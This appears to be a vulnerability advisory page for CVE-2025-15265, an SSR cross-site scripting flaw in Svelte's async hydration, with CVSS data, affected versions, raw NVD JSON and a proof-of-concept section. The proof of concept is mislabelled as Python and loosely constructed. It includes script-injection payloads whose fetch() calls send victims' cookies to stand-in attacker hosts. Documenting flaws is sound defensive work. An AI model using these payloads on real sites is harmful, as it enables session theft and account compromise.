Security Vulnerability Report
中文
CVE-2025-15265 CVSS 6.1 MEDIUM

CVE-2025-15265

Published: 2026-01-15 20:16:03
Last Modified: 2026-01-23 19:04:53

Description

An SSR XSS exists in async hydration when attacker‑controlled keys are passed to hydratable. The key is embedded inside a <script> block without HTML‑safe escaping, allowing </script> to terminate the script and inject arbitrary JavaScript. This enables remote script execution in users' browsers, with potential for session theft and account compromise. This issue affects Svelte: from 5.46.0 before 5.46.3.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:svelte:svelte:*:*:*:*:*:node.js:*:* - VULNERABLE
Svelte >= 5.46.0
Svelte < 5.46.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-15265 PoC - Svelte SSR XSS via Hydratable Key // This PoC demonstrates how attacker-controlled keys can inject XSS via async hydration // Example 1: Malicious Server Component/Route // Suppose we have a Svelte component that uses hydratable with user input as key: // Server-side code (SvelteKit page.server.ts) export async function load({ params, request }: { params: any; request: Request }) { const userProvidedKey = params.maliciousKey; // Attacker controls this return { // This key will be embedded in HTML without proper escaping hydrationKey: userProvidedKey }; } // Example 2: Vulnerable Svelte Component // <script> // import { hydratable } from 'svelte'; // const hydrate = hydratable(() => import('./HeavyComponent.svelte')); // // // data.hydrationKey is attacker-controlled // export let data; // </script> // <div use:hydrate key={data.hydrationKey}> // <!-- Content here --> // </div> // Example 3: Attack Payload as Key Value // Key: </script><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> // // This results in: // <script> // __sveltekit.state.key = '</script><script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // </script> // // Browser interprets this as: // <script> // __sveltekit.state.key = '</script> // </script> // <script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script> // // The injected JavaScript executes in victim's browser // Example 4: Session Hijacking via Cookie Theft const maliciousPayload = "</script><script>" + "fetch('https://attacker-controlled-server.com/api/steal?' + " + "'session=' + encodeURIComponent(document.cookie))" + "</script>";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15265", "sourceIdentifier": "[email protected]", "published": "2026-01-15T20:16:03.490", "lastModified": "2026-01-23T19:04:53.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An SSR XSS exists in async hydration when attacker‑controlled keys are passed to hydratable. The key is embedded inside a <script> block without HTML‑safe escaping, allowing </script> to terminate the script and inject arbitrary JavaScript. This enables remote script execution in users' browsers, with potential for session theft and account compromise.\nThis issue affects Svelte: from 5.46.0 before 5.46.3."}, {"lang": "es", "value": "Existe una vulnerabilidad de tipo SSR XSS en la hidratación asíncrona cuando se pasan claves controladas por el atacante a `hydratable`. La clave se incrusta dentro de un bloque `` termine el script e inyecte código JavaScript arbitrario. Esto permite la ejecución remota de scripts en los navegadores de los usuarios, con el riesgo de robo de sesión y compromiso de la cuenta. Este problema afecta a Svelte: desde la versión 5.46.0 hasta la 5.46.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:svelte:svelte:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "5.46.0", "versionEndExcluding": "5.46.3", "matchCriteriaId": "388FECC8-EDAB-4046-96F5-AC7087330E95"}]}]}], "references": [{"url": "https://fluidattacks.com/advisories/lydian", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://fluidattacks.com/advisories/lydian", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/sveltejs/svelte/security/advisories/GHSA-6738-r8g5-qwp3", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}